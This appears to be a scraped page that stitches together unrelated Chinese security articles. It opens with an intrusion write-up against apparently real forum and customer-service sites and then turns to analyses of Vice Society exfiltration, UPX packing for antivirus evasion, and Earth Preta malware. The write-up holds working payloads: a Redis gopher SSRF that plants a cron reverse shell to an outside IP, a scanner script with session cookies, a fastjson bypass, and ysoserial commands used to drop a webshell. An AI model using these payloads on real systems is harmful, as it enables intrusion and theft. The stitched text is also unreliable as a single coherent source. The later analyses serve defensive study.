/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107

然后302.php?到data=之间的&要url编码，data=到xx=1.png的所有字符串都进行两次url编码，去bp中发包。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107

但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。

Image

因此payload只能放在VPS中写死。

<?php

$ip=$_GET['ip'];

$port=$_GET['port'];

$scheme=$_GET['s'];

$data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a';

header("Location:$scheme://$ip:$port/$data");

测试一下打VPS上的redis能否成功

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107

Image

没问题。但实际环境中利用失败了，原因不确定，没有redis或者redis权限不够或者redis有密码都是有可能的。

开始写脚本探测内网，不过并未抱多大希望，其为谷歌云，并不一定有内网。

先生成所有内网ip的*.*.*.1的ip字典

f = open('ip.txt','w')

f.write('127.0.0.1')

f.write('localhost')

for i in range(1,256):

    ip = '192.168.'+str(i)+'.1'

    f.write(ip)

for i in range(16,32):

    for ii inrange(1,256):

        ip = '172.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

for i in range(1,256):

    for ii inrange(1,256):

        ip = '10.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

f.close()

然后通过时间延迟来寻内网ip段，这里由于ip不通的延迟长达7s以上，所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以，所以干脆直接使用gopher攻击redis的payload，万一直接打中了呢。

import requests
import threading
 
def ssrf(i):
    url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107'
    header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
          "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Accept-Encoding": "gzip,deflate",
          "Connection": "keep-alive"
          }
    cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"}
    r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False)
    if r.elapsed.total_seconds()> 6:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        print(timeout)
    else:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        fo = open('openip.txt','a')
        fo.write(str(i)+'open\n')
        fo.close()
        print(str(i)+'open')
        print(timeout)
 
def thread(list):
    name = []
    for i in list:
        th = threading.Thread(target=ssrf,args=(i,))
        name.append(th)
        th.start()
    for th inname:
        th.join()
 
folist = open('ip.txt','r')
list = []
flag = 0
for i infolist.readlines():
    i = i.replace('\n','')
    if flag <21:
        list.append(i)
        flag = flag+1
    else:
        thread(list)
        flag = 0
        list = []

只发现一个开放的网关172.30.2.1，再跑此网关上的内网ip，更换ip.txt即可。

Image

结果跑了一天只跑出两个内网ip，172.30.2.1和172.30.2.2，大概率172.30.2.2是它自己，172.30.2.1是云服务器的虚拟网关。

最后再用ftp协议跑它们的端口，脚本自己改改就行了。

Image

大部分都是误报，其实只开了80和443两个端口，所以除非之后发现其他内网ip，否则SSRF是不用指望了。

最后一个uc_server爆破，原理为改XFF头导致图形验证码固定，同样利用失败，详情见https://www.freebuf.com/articles/web/197546.html

论坛告一段落，接下来看看客服系统有啥问题。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f

id传参，无法目录穿越。文件上传无法利用，开始目录扫描。

Image

admin登录界面有滑块验证，不过是前端骗人的，后端没用到，尝试爆破无果。

看到/actuator，就知道是spring boot了，使用针对性字典爆破。

/swagger-ui.html为空，/env跳转admin，/heapdump 403。

但鬼使神差的我试了试/heapdump.json

Image

解压出来1G内存文件，使用MemoryAnalyzer将其打开，OQL查询。

由于没有/env配合，只能盲查配置信息，这里写一些我摸索出来的小技巧。

select* from org.springframework.web.context.support.StandardServletEnvironment

查配置，注意以Retained Heap(大小)排序，比较方便。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"

查含password的字符串，这种查法不易找出关联类，但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。

Image

select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))

快速查数据库相关信息，发现mysql地址账户密码，不过很遗憾是亚马逊的数据库，默认存在ip白名单，无法远程登录。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"

发现正在登录的session，替换之后登录到后台。

Image

后台使用wss协议进行实时对话，头像处，客服回复处均无利用点。只发现了一些毒狗的哀嚎。

Image


黑盒测试无果，heapdump中翻找有特征的类名，然后去github搜，发现了一份可能是初始版源码，目标用的是改版，源码不太全。

Image

对不全的代码进行审计，找到一处任意文件读取和一处SSRF。

Image

Image

Image

有了部分源码，知道配置文件位置，读取配置文件

Image

获取数据库配置，当然之前在heapdump内存中已经知道了。获取内网ip，172.x.x.x，写脚本开始跑内网ip，脚本参考Discuz那个。

Image

同理，后续用ftp协议扫描内网端口。不过很可惜，java ssrf一般不支持dict和gopher，论坛和客服又不在同一内网，所以很难攻击内网比如redis。

前面一直没提的是，此客服系统存在管理员后台，不过存在ip白名单限制，访问403，虽然能利用SSRF绕过，但是由于只能发起GET请求，无法尝试登陆。

Image

这两处漏洞依旧无法getshell，我决定去fofa上搜同版本客服系统，然后利用任意文件下载来获取完整的源码。

很幸运，直接碰到一个网站可以读.bash_history，在操作记录中暴露了源码路径，获得war包。


Image

开始审计，SQL方面使用的是jpa1.11.6，基本不存在注入问题，但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml，找到两处使用$的地方。

ScacMapper.xml

Image

经典的mybatis order by注入。位于ScacRepository类的findRule方法，全局搜索调用了此方法的地方。

Image

发现不可控，再看第二处。

ChatMapper.xml

Image

位于AgentService类的findChatService方法，全局搜索。

Image

satislevel参数可控，网站中寻找路由，发现是用来查询历史会话的。

Image

/service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage=

Image

SQL注入成功，不过是个布尔盲注，注入较耗时间。


然后发现fastjson版本较低，于是瞄上了fastjson反序列化。

Image

全局搜索parseObject方法，路由中发现两处。IMController和ApiContactsController。

IMController虽然在前台，但涉及到AES解密和定位key，利用起来较为复杂。

Image

所以决定利用ApiContactsController的save方法。

Image

由于通过heapdump登录过客服后台，直接访问save的路由，却尴尬的发现报401

Image

很显然，客服后台和这个接口不在同一体系，但密码应该是通用的，猜测这些接口是给手机app用的，heapdump中曾获取了用户名，于是在ApiLoginController中找到登录接口，开始爆破。当然，也可以利用之前审计出来的SQL注入，不过实在太慢而且不一定解的出来我就先爆破了。

Image

Image

成功获取凭证，访问路由。

Image

这里是个联系人接口，查用GET，增用PUT，改用POST，删用DELETE，只有改才会调用fastjson。所以直接POST fastjson payload就行。

fastjson 1.24以上版本默认关闭autotype，但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。

https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg

{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}}

Image

成功获取dnslog请求，接下来就是用fastjson反序列化getshell就行了吗？

事情并没有那么简单，之前通过heapdump在内存中看到java版本为1.8.0_242，那么rmi和ldap两个JNDI注入都无法使用，这和实际用marshalsec测试结果一致。本地加载有两种方法，org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除，com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过，但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，在实际环境中却没能成功。

我在此处被拦了几个小时，最后发现存在rmi反序列化，链为URL链。注意：rmi注入恶意类和rmi反序列化是不一样的。


rmi注入恶意类(marshalsec)，是连接rmi服务器，rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。
rmi反序列化(ysoserial)，是连接rmi服务器，在和rmi服务器通信的过程中被反序列化攻击了。无版本限制，只需要反序列化链。


如下图，恶意服务器上起一个ysoserial的rmi服务，然后用fastjson去连接之。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn"

Image

成功获取dns请求，那么我只需要找到一条能够利用的反序列链，就能够getshell。
spring项目一般来说，很难有一条序列化链，因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链，而源码中的jar包满足条件。

Image

详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w


先尝试向/tmp中写文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ=="
然后利用任意文件读取确认文件是否被写入。

Image

尝试写webshell，成功getshell

Image

由于其存在负载均衡，可以拿到两台服务器权限，至此渗透完毕。



转载于原文链接： https://mp.weixin.qq.com/s?__biz=Mzg4MTU1MjE5Mg==&mid=2247488972&idx=1&sn=b97d4e2da7059409cb05fe4238f9dbb7
HireHackking

Ransomware-r3d1.png

Vice Society 是一種勒索軟件，採用強大的加密算法來鎖定存儲在受感染系統上的數據Vice Society 是一個相對較新的惡意軟件，於2021 年年中首次出現。

在最近一次事件響應（IR）活動中，unit42團隊發現，Vice Society勒索軟件組織使用自定義的Microsoft PowerShell（PS）腳本從受害者網絡中竊取數據。我們將對所使用的腳本進行分解，解釋每個函數是如何工作的，以便了解這種數據竊取方法。

該組織使用多種方法從受害者的網絡中竊取數據。一些使用者會使用外部工具，包括FileZilla、WinSCP和rclone等工具。還有使用者使用LOLBAS（Living off the Land Binaries And Scripts）技術，如PS腳本，通過遠程桌面協議（RDP）複製/粘貼和微軟的Win32 API（例如Wininet.dll調用）。讓我們來看看當使用PS腳本自動執行勒索軟件攻擊的數據洩露階段時會發生什麼。

使用LOLBAS等內置數據洩露方法的攻擊者不需要引入可能被安全軟件或基於人工的安全檢測機制標記的外部工具。這些方法還可以隱藏在一般操作環境中，很容易躲過安全檢測。

例如，PS腳本經常在典型的Windows環境中使用。當攻擊者想要悄無聲息地發起攻擊時，PS代碼通常是首選。

2023年初，unit42團隊發現Vice Society勒索軟件組織使用了一個名為為w1.ps1的腳本從受害網絡中竊取數據。在本例中，腳本是從Windows事件日誌(WEL)中恢復的。具體而言，該腳本是從Microsoft Windows PowerShell/Operational WEL提供程序中發現的事件ID 4104：腳本塊日誌記錄事件中恢復的。

雖然必須在Windows中啟用腳本塊日誌記錄才能記錄所有腳本塊，但Microsoft默認情況下使用一些未記錄的後端魔法來記錄其認為是惡意的事件。因此，即使在腳本塊日誌記錄尚未完全啟用的環境中，事件ID 4104事件也可能對你的分析有用。

unit42研究人員看到了使用以下PS命令執行的腳本：

1.png

此腳本調用使用統一資源名稱（URN）路徑中的本地域控制器（DC）IP地址（如上面的[redected_IP]所示），指定DC上的s$admin共享。請注意，由於腳本是通過客戶端的DC部署的，因此目標計算機可能是攻擊者尚未獲得直接訪問權限的計算機。因此，網絡中的任何端點都可能成為腳本的目標。為PS可執行文件提供-ExecutionPolicy Bypass參數以繞過任何執行策略限制。

該腳本不需要任何參數，因為從網絡複製哪些文件是腳本本身負責的。是的，你沒有看錯：腳本是自動化的，因此可以選擇應該竊取的數據。

腳本分析腳本首先聲明兩個用於受害者識別的常量$id和$token。在我們識別的腳本中，這些值分別被硬編碼為“TEST”和“TEST_1”:

2.png

從邏輯上講，這些變量可以設置為更具體的值，以識別實際的受害者。我們不確定這是否真的是一個測試階段，或者這些值是否會簡單地保持在這個測試狀態。

接下來，腳本聲明代碼庫中的重要函數。表1提供了腳本函數的概述。這是按照函數被調用的順序列出的，而不是它們被聲明的順序。

3.png

腳本函數概述

下圖概述了函數之間的流程，有助於突出顯示腳本的函數。

4.png

w1.ps1腳本的函數圖

起始進程在調用任何聲明的函數之前，腳本會通過Windows Management Instrumentation（WMI）識別系統上安裝的任何驅動器。通過一些簡單的篩選來獲取wmiobject win32_volume的調用提供了一個名為$drives的數組，該數組將包含安裝在計算機上的驅動器列表。然後將找到的每個驅動器路徑分別傳遞給Work()函數。下圖顯示了相關的代碼片段。

5.png

腳本的前導碼，用於識別並處理每個掛載卷

在前導碼中採取了以下操作：

1.它創建一個名為$drives的數組，並用主機上掛載的捲列表填充該數組。 win32_volume中的DriveType枚舉引用本地磁盤。有關詳細信息，請參閱Microsoft的Win32_Volume Class文檔。

2.它作為$drive遍歷主機上標識的驅動器，將每個標識的驅動器路徑傳遞給Work()函數。

下圖顯示了這段代碼在隻掛載了一個驅動器的普通Windows主機上可能執行的操作示例。

6.png

帶有單個掛載驅動器的主機上的$drives和$drive變量的示例值

對於標識的每個驅動器名稱，前導碼都會調用Work()函數來處理驅動器上的目錄。

Work()函數每次調用Work()時，函數都會作為$disk接收一個驅動器路徑，用於目錄搜索和處理。下圖顯示了Work()函數的開頭。

7.png

Work()函數的開頭

在上述代碼中採取以下操作：

1.它創建$folders和$jobs數組；

2.它創建$store元組，用於存儲上面創建的數組；

3.它聲明了Show()函數。

下圖顯示了Work()函數的其餘代碼，它位於Show()函數下方。

8.png

Work()函數的剩餘部分

在上述代碼中採取了以下操作：

4.它將當前卷字符串傳遞給Get-ChildItem，並篩選出一系列31個潛在的目錄路徑，以避免處理基於系統或應用程序的文件。然後，它將每個根目錄名稱傳遞給Show()函數以進行進一步處理。

有關被忽略的根目錄的列表，請參見附錄。

5.將根目錄文件夾傳遞給Show()函數後，Work()函數遞歸地搜索根目錄中的子目錄。與前面的篩選類似，與排除列表不匹配的子目錄會被發送到Show()函數進行處理。

有關被忽略的根子目錄的列表，請參見附錄。

6.Show()函數創建PowerShell作業以方便竊取數據。該函數一次處理5個目錄組。這部分代碼可以起到保護作用，以確保處理所有剩餘的文件夾分組。

例如，如果總共識別了212個目錄，這段代碼將確保處理最後兩個目錄。

Show() 函數Show()函數的作用是接收要處理的目錄名。 Show()函數的概述如下所示

9.png

Show()函數的概述

在上述代碼中採取了以下操作：

1.該函數收集提供的目錄名，直到它可以創建一個由5個目錄名組成的分組。一旦向函數提供了5個目錄名，它將它們傳遞給CreateJobLocal()函數以創建PowerShell作業，以便從目錄組中導出數據。

2.該腳本實現了速率限制，因為它一次只希望處理5個目錄組的最多10個作業。如果正在運行的作業超過10個，腳本將休眠5秒鐘，並重新檢查正在運行的作業的數量。

注意：這顯示了在整體腳本設計方面的專業編碼水平。腳本的編寫是為了避免主機的資源被淹沒。造成這種情況的確切原因在於開發者，但該方法與一般的編碼最佳實踐相一致。

CreateJobLocal()函數CreateJobLocal()函數為竊取數據設置了一個多處理隊列。下圖顯示了CreateJobLocal()函數的開頭部分。

10.png

CreateJobLocal()函數的概述

在上述代碼中採取了以下操作：

1.它為正在創建的作業創建一個偽隨機名稱。作業名稱將由5個字母字符組成(包括小寫和大寫字符)。

例如，以下是腳本在隨機調試會話中生成的五個作業名稱：iZUIb、dlHxF、VCHYu、FyrCb和GVILA。

2.它設置一個PowerShell作業，該作業具有一個代碼結構，該代碼結構將是腳本中此時創建的腳本塊。

此時，在CreateJobLocal()中聲明了fill()函數。我們將很快回到這個問題。首先，我們將繼續處理CreateJobLocal()函數的剩餘部分。下圖顯示了這段代碼的下一部分。

11.png

屬於CreateJobLocal()函數的附加代碼

下面是上述CreateJobLocal()代碼庫的描述：

3.它為要竊取的文件創建一個$fileList數組，然後循環遍歷當前組中的目錄(如上所述，它通常以五個為一組處理目錄)。

4.它設置名為$include和$ excluded的包含和排除數組。

5.有關這些數組的值列表，請參見附錄。

它循環遍歷給定目錄組中的目錄，並使用正則表達式根據$include數組中硬編碼的值篩選要包含的文件夾。

此時，函數使用excludes來進一步篩選應該被盜取的文件。

12.png

CreateJobLocal()函數的剩餘部分

以下是剩餘CreateJobLocal()代碼庫的描述：

1.如果某個目錄與包含列表匹配，則它會查找該目錄中沒有在排除列表中找到的擴展名、大於10 KB且具有擴展名的所有文件。

注意：測試證實，該腳本會忽略大小小於10 KB的文件和沒有文件擴展名的文件。

2.即使一個目錄沒有通過正則表達式匹配包含列表，也會檢查目錄的文件，以確定是否應將其包含在竊取內容中。

這看起來是文件匹配包含列表的第二次嘗試，因為比較是使用Get-ChildItem cmdlet的-Include參數完成的，而不是在上面第5步中執行正則表達式比較的-Like比較。

它循環遍歷標識為竊取的文件，並調用fill()函數來竊取每個文件。

下圖顯示了在我們的惡意軟件分析虛擬機（VM）中運行時選擇的第一組五個文件夾的腳本。這些值將因運行腳本的計算機而異。我們只是想展示腳本始在測試環境中搜索數據的位置。

13.png

該腳本的示例運行顯示了標識為竊取的前5個目錄

Fill()函數fill()函數執行實際的數據竊取。此函數用於構建將用於竊取文件的URL，並使用System.Net.Webclient對象通過HTTP POST事件使用對象的.UploadFile方法執行實際的竊取。下圖顯示了fill()函數。

14.png

fill()函數的概述

在上述代碼中採取了以下操作：

1.雖然從技術上講不是實際的fill()函數的一部分，但在每個文件上傳URL中都使用了整個腳本前兩行的變量$id和$token。

2.它構建了一個$prefix值，其中包括腳本中兩個最重要的攻擊指標（IoC）。

2.1 IP地址

這是攻擊者的基礎設施/服務器IP地址，文件將被上傳到該IP地址。

2.2網絡端口號

這個端口號可以是80443，也可以是一個自定義端口號，例如通常與臨時端口範圍相關聯的端口號。

3.它實例化一個WebClient對象，該對象將用於執行基於HTTP的數據竊取。

4.它構建了一個$fullPath變量，這是正在上傳文件的完整文件路徑。

注意：這一點很重要，因為這意味著每個HTTPPOST事件都將包括文件的完整路徑。如果你能夠通過此路徑獲得源主機的IP地址，那麼你將能夠在事後構建一個被竊取文件的列表。

5.它通過組合$prefix、$token、$id和$fullPath變量來構建文件上傳的完整URL $uri。

6.它調用WebClient.UploadFile()方法來上傳文件。

注意：這將創建一個HTTP POST事件。

HTTP活動示例為了查看腳本的POST請求在攻擊者的web服務器上是什麼樣子，研究人員在本地虛擬機上設置了一個服務器，引導他們的惡意軟件分析機器使用該虛擬機作為其網關並運行腳本。下面是腳本在測試環境中執行時創建的三個POST請求示例。

15.png

請注意，上面的192.168.42[.]100地址是研究人員使用的測試客戶端虛擬機的IP。在現實場景中，Vice Society的網絡服務器會在這個位置指示受害者的出口IP地址。

基於以上結果，我們可以獲得關於腳本啟動的HTTP活動的一些重要信息：

1.fullpath POST參數不包括發送文件的驅動器號。

2.該腳本沒有向web服務器提供用戶代理字符串。

如果你的環境中運行了網絡安全監控(NSM)或入侵檢測系統(IDS)(如Zeek)，或者數據包捕獲系統，那麼就可能能夠看到傳出的POST請求。這些傳出的日誌可能以字節為單位顯示請求的長度（重點關注傳出的字節數與總字節數），這有助於確定哪些版本的文件被竊取掉了。

總結Vice Society的PowerShell數據竊取腳本是一個簡單的數據竊取工具。使用多處理和排隊來確保腳本不會消耗太多系統資源。然而，該腳本將重點放在文件擴展名超過10 KB的文件以及符合其包含列表的目錄中，這意味著該腳本不會竊取不符合此描述的數據。

不幸的是，Windows環境中PS腳本的性質使得我們難以預防這種類型的威脅。不過研究人員在檢測中總結了一些提前發現它們的線索和技巧。

HireHackking

可執行文件的終極打包程序（UPX）是一種開源打包程序，可以大幅縮減可執行文件的文件大小（縮減效果比Zip文件更好），並且它與眾多可執行格式兼容，比如Windows DDL、macOS應用程序或Linux ELF。

供應商有時使用打包手段來防止基本的逆向工程或非法重新分發。大致說來，打包程序拿來原始的可執行文件後，為新創建的可執行文件添加一小段名為“stub”（存根）的代碼。然後，存根代碼將用於解包文件，並將可執行文件“恢復”到原始狀態。

雖然像UPX這樣的一些打包程序只壓縮文件，但其他打包程序還可以加密文件。

攻擊者可以使用壓縮將惡意軟件隱藏在看似無害的合法文件中，這可以騙過基於特徵的檢測系統，甚至騙過基於高級人工智能（AI）的反病毒解決方案。下面介紹了黑客如何使用UPX確保惡意軟件無法被檢測到的方法。

基於UPX的規避的工作機理UPX可以打包惡意可執行文件並修改其字節，以生成無法被檢測到的惡意軟件版本。

通過自解壓的歸檔可執行文件，當打包文件被執行時，打包程序可以在內存中解包自己。

打包的文件通常在磁盤上比較小，但在內存中比較大。如果你檢查一個可疑的文件，可能會看到如下典型的部分：

UPX0：一個空的部分，不包含實際的原始數據，但有龐大的虛擬內存大小

UPX1：存根代碼和壓縮後的可執行文件

還有其他部分，但在這裡暫停不詳述。

當UPX打包的文件被執行時，所有打包的部分都在內存中解包，包括黑客可能存儲在其中的任何惡意代碼，程序跳轉到原始入口點（OEP）來執行可執行文件。

壓縮是一種典型的逃避技術雖然基於UPX的逃避乍一看可能有點難以理解，但壓縮卻是避免反病毒檢測的一種典型方法。

讀者可以執行的一個簡單測試就是將惡意軟件樣本的原始版本和打包版本上傳到自己青睞的平台，比如VirusTotal。與惡意軟件的原始版本相比，打包版本通常被發現的次數要少得多，許多反病毒工具可能完全漏過了打包版本。

UPX用在惡意軟件部署中有多頻繁方面缺少太多的統計數據，但MITRE列舉了攻擊者可以用來隱藏代碼的種種“基於打包”的程序（https://attack.mitre.org/techniques/T1027/002/）。許多活動似乎都涉及UPX。

檢測UPX打包的文件你可以嘗試一個簡單的UPX命令來發現UPX打包的文件：

upx -l {suspicious_binary}

當然，這個命令很有限，不會一直有效。另一個有限但仍然有效的選項是轉儲十六進制代碼，並蒐索特定的字符串，比如UPX：

hexdump -C {suspicious_binary} | grep 'UPX'

你還可以利用可移植可執行文件（PE）分析器來檢測UPX打包的文件。

挫敗UPX損毀手法和損壞的文件外面觀察到的許多漏洞並不依賴UPX本身來解包惡意代碼，而是故意生成損壞的打包文件。

我們前面分析的基本示例含有非常容易識別的部分，但是攻擊者可以使用十六進制編輯器或其他工具來更改字節或插入字符串，從而使文件極難被檢測出來。

雖然這樣的操作可能會使用upx -d命令破壞典型的解包並拋出錯誤，但二進製文件仍然會執行。

Akamai推薦的upxdump.py等工具可能能夠修復故意損壞的UPX打包的文件，因為它可以修復經常用於混淆UPX打包的惡意軟件已損壞的報頭部分。

但是要小心，因為一些變體只是剝離UPX報頭或註入空字節，這將使工具失效。

打包程序分析和反UPX解包技術反向工程人員和惡意軟件分析師可能會使用ollydbg、radar2甚至流行的Ghydra等工具來分析打包的文件。關鍵步驟是先確定二進製文件是否使用反UPX解包技術。

雖然Mirai等許多類型的惡意軟件使用反UPX解包技術（比如零填充文件）以阻礙安全研究人員的工作，但這並不意味著你不能解包它們。像upx-mod這樣的工具可以助一臂之力。

話雖如此，最老練的威脅分子可能使他們的文件對標準的UPX實現方法而言“無法解包”，不過這種情況似乎相當罕見。

應對UPX打包惡意軟件的最佳實踐使用惡意的UPX打包文件表明，你不能單單依賴防病毒軟件和其他基於特徵的解決方案來發現惡意軟件，無論這些工具推銷自己有多麼先進。

但如果沒有這些工具，你將更容易受到攻擊，不過攻擊者總是會想方設法轉移合法實用程序的視線、繞過檢測。

UPX是一種通用格式，可用於針對各種平台，反UPX解包技術可用於乾擾逆向工程和惡意軟件分析。

一個好的做法是，當用戶不需要UPX時，在一些目錄中禁用執行（比如tmp和下載），特別是在企業環境中，這可以通過安全策略來實現。

確保系統沒有隱藏文件擴展名，但即使情況並非如此，也不能保證沒有人會不明智地點擊，特別是面對針對性的攻擊活動。你需要把可疑的活動和行為記錄下來。

HireHackking

經過幾個月的調查，趨勢科技的研究人員發現Earth Preta正在使用一些從未被公開的惡意軟件和用於洩露目的的有趣工具。研究人員還觀察到攻擊者正在積極地改變研究人員的工具、戰術和程序（TTP）以繞過安全解決方案。在這篇文章中，研究人員還將介紹和分析攻擊者使用的其他工具和惡意軟件。

在之前的研究中，研究人員披露並分析了Earth Preta(又名Mustang Panda)組織發起的一項新型攻擊活動。在最近的一次活動中，研究人員通過監測發現Earth Preta通過魚叉式網絡釣魚郵件和谷歌驅動器鏈接發送誘餌文件。經過幾個月的調查，研究人員發現攻擊者在這次活動中使用了一些從未公開的惡意軟件和用於洩露目的的有趣工具。

感染鏈經調查，整個攻擊始於魚叉式網絡釣魚電子郵件。經過對攻擊程序的長期調查，研究人員確定了完整的感染鏈如下所示。

1.png

完整的感染鏈

研究人員將不同的TTP分為六個階段：攻擊載體、發現、權限升級、橫向移動、命令與控制(CC)和洩露。在之前的研究中，研究人員在第一階段(攻擊載體)涵蓋了大多數新的TTP和惡意軟件。但是，研究人員觀察到一些TTP已經發生了變化。在接下來的部分中，我們將重點關注更新後的攻擊載體及其後續階段。

攻擊載體之前Earth Preta使用的攻擊載體，研究人員將它們分為三種類型（DLL側加載、快捷鏈接和偽文件擴展名）。從2022年10月和11月開始，研究人員觀察到攻擊者開始改變研究人員的TTP，以部署TONEINS、TONESHELL和PUBLOAD惡意軟件和QMAGENT惡意軟件。研究人員認為，攻擊者正在使用這些新技術逃避。

Trojan.Win32.TONEINS根據研究人員之前的觀察，TONEINS和TONESHELL惡意軟件是從嵌入電子郵件正文的谷歌驅動器鏈接下載的。為了繞過電子郵件掃描服務和電子郵件網關解決方案，谷歌驅動器鏈接現在已經嵌入到誘餌文件中。該文件誘使用戶下載帶有嵌入式鏈接的受密碼保護的惡意文件。然後可以通過文件中提供的密碼在內部提取文件。通過使用此技術，攻擊背後的惡意攻擊者可以成功繞過掃描服務。

2.png

一份誘餌文件，其中嵌入了谷歌驅動器鏈接和密碼

在新的攻擊載體中，整個感染流程已更改為下圖所示的程序。

3.png

攻擊載體的感染流

4.png

新攻擊載體中的文件

在分析下載的文件後，研究人員發現這是一個惡意RAR文件，包含TONEINS惡意軟件libcef.dll和border.docx中的TONESHELL malware ~List of terrorist personnel 。它們的感染流程類似於之前報告中的攻擊載體類型C，唯一的區別是偽造的.docx文件具有XOR加密內容，以防止被檢測到。例如，~$Evidence information.docx是一個偽裝成Office Open XML文件的文件。因此，它似乎是無害的，甚至可以通過使用7-Zip等解壓軟件打開。

攻擊者在一個文件的ZIPFILERECORD結構中隱藏了一個PE文件。 TONEINS惡意軟件libcef.dll將在XOR操作中用一個字節解密該文件，找到PE頭，並將有效負載放置到指定的路徑。

5.png

在對最後一個ZIPFILECECORD結構中的frData成員進行解密後，將顯示PE文件

6.png

TONEINS的解密函數

